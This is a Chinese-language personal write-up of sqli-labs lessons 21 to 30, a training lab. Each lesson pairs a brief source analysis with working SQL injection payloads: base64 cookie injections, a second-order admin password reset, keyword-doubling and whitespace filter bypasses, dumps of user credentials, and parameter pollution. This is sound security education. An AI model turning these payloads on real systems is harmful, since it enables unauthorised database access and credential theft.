人过留名,雁过留声
人生天地间,凡有大动静处
必有猪头
前言
从 Less 18 开始修改 HTTP 头部信息的操作在 Firefox 浏览器的开发者工具也可以做。
环境准备
sublime(代码编辑器)
Firefox
Less 21
① 源码分析
用户输入被 check_input() 函数过滤
输入正常则产生cookie,并base64编码
获取cookie并进行数据库查询
② 漏洞利用
cookie 没有被过滤,可以利用
直接在 cookie 处构造 payload 进行注入
cookie 参数进行单引号+括号闭合
注意 cookie 先进行 base64 编码
- 提交正确的账号登录,发现 cookie 被 base64 编码
- 构造 payload ,可以看到有数据回显位
uname = ') union select 1,2,3 #
uname = JykgdW5pb24gc2VsZWN0IDEsMiwzICM=
使用 Hack bar 自带的 base64 编码器编码
Less 22
① 源码分析
用户输入被 check_input() 过滤
直接获取 cookie,base64 解码,双引号引用,拼接 sql 语句进行数据库查询并返回数据
② 漏洞利用
随便数据用户参数
构造 cookie,双引号闭合,base64 编码之后进行注入
查看数据回显
uname = " union select 1,2,3 #
uname = IiB1bmlvbiBzZWxlY3QgMSwyLDMgIw==
Less 23
① 源码分析
get 注入
注释符"#" , "--" 被转义
参数单引号引用
有数据回显
② 漏洞利用
闭合单引号
1. 布尔注入判断第一步,有正常回显
?id= 1' and '1'='1
2. 布尔注入判断第二步,信息不回显
?id= 1' and '1'='2
3. union 注入
3.1 查看数据回显
?id= ' union select 1,2,3 '
Less 24
① 源码分析
在登录界面登录之后数据传送到 login.php 处理
login.php 使用mysql_real_escape_string对参数中可能存在的特殊字符前添加反斜杠
传参正确后页面会重定向到 login_in.php 页面,该页面用于修改账号密码
输入要修改的密码之后页面会跳转到 pass_change.php 页面进行数据库的密码更新
login_create.php 用于创建一个新用户,并将新用户信息插入数据库中
- login.php
- pass_change.php
- login_create.php
② 漏洞利用
漏洞点出现在 login_create.php 上
虽然有使用 mysql_escape_string() 在特殊字符前面添加一个反斜杠,但是在写入数
据库的时候反斜杠又被去除了
- 创建一个用户名为 admin’# 的账号
- 使用 admin’# 进行登录,登录成功后修改密码,在 pass_change.php 的update 更新语句中相当于对管理员的账号 admin 进行修改密码。
- 用管理员的账号进行登录
Less 25
① 源码分析
输入参数被过滤(这里的正则不区分大小写)
单引号引用
有数据回显
② 漏洞利用
双写关键字绕过
闭合单引号
注释符要转换为URL编码 %23
- 数据回显
?id=0' union select 1,2,3 %23
2. 数据库信息
?id=0' union select 1,database(),version() %23
3. 爆表(ps:information 中的 or 字符会被过滤,所以也需要双写)
?id=0' union select 1,database(),(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security') %23
4. 爆列,爆数据就不赘述了。
Less 25a
源码分析
和 Less 25 一样的配方,只不过 SQL 语句在拼接参数的时候没有对参数进行单引号引用。
Less 26
将以下的字符转义为空:
or
and
注释符:/**/,--,#
空格
反斜杠
② 漏洞利用
关键字双写绕过
闭合单引号代替注释符
%a0 代替空格
1. 布尔注入判断
?id=1' %a0 aandnd %a0 '1'='1
2. 布尔注入判断
?id=1' %a0 aandnd %a0 '1'='2
3. union 注入
3.1 数字回显
?id=0' %a0 union %a0 select %a0 1,2,3 %a0 '
3.2 数据库信息
?id=0' %a0 union %a0 select %a0 1,database(),version() %a0 '
3.3 爆表(ps:information --> infoorrmation )
?id=0' %a0 union %a0 select %a0 1,database(),(select %a0 group_concat(table_name) %a0 from %a0 infoorrmation_schema.tables %a0 where %a0 table_schema='security') %a0 '
3.4 爆列(ps:information --> infoorrmation ; and --> aandnd)
?id=0' %a0 union %a0 select %a0 1,database(),(select %a0 group_concat(column_name) %a0 from %a0 infoorrmation_schema.columns %a0 where %a0 table_schema='security' %a0 aandnd %a0 table_name='users') %a0 '
3.5 爆数据(ps:information --> infoorrmation ; password --> passwoorrd)
?id=0' %a0 union %a0 select %a0 1,(select %a0 group_concat(passwoorrd) %a0 from %a0 security.users),(select %a0 group_concat(username) %a0 from %a0 security.users) %a0 '
Less 26a
① 源码分析
参数被过滤
单引号+括号引用参数
② 漏洞利用
单引号+括号闭合
其余步骤可参考 Less25
union 注入(数字回显)
?id= 0') %a0 union %a0 select %a0 1,2,3 %a0 aandnd %a0 ('1')=('1
Less 27
① 源码分析
参数被单引号引用
被过滤的字符串有:
/**/
--
#
空格
union,select(区分大小写)
② 漏洞利用
过滤的关键字可以用大小写/双写绕过
%a0代替空格
单引号闭合
union注入(数字回显)
?id= 0' %a0 UNion %a0 SElect %a0 1,2,3 %a0 '
Less 27a
源码分析
和 Less 27 的差不多,就是参数使用双引号引用,注意双引号闭合即可。
union 注入(数字回显)
?id= 0" %a0 UNion %a0 SElect %a0 1,2,3 %a0 "
Less 28
① 源码分析
。。。
单引号+括号引用参数
此番过滤的字符串更少
② 漏洞利用
注意单引号+括号闭合
剩余思路可以参考 Less26a
Less 28a
啊啊啊。。。。。。
Less 29
① 源码分析
index.php
这是一个普通 SQL 注入漏洞网页
login.php
该网页意在模拟两层服务器对参数的处理
参数先经过最外层的 tomcat 服务器处理(Java_implimenttation()和whitelist())
之后将处理后的参数传递给 apache 服务器处理($id = $_GET['id'])
whitelist()
该函数意在使用正则表达式过滤除了数字之外的字符
java_implimentation()
该函数意为截取参数的第一个id值
② 漏洞利用
构造两个 id 值,用 & 连接
第一个为数字,第二个构造 payload 进行注入
注释符使用 URL 编码 %23
1. 当直接构造 payload 进行注入时
login.php?id= 0' union select 1,2,3 #
2. 使用两个 id 注入
login.php?id=1&id= 0' union select 1,2,3 %23
Less 30
源码分析
和 Less 29 一样,就是参数由双引号引用,注入时注意双引号闭合即可
猪头
2020.1.21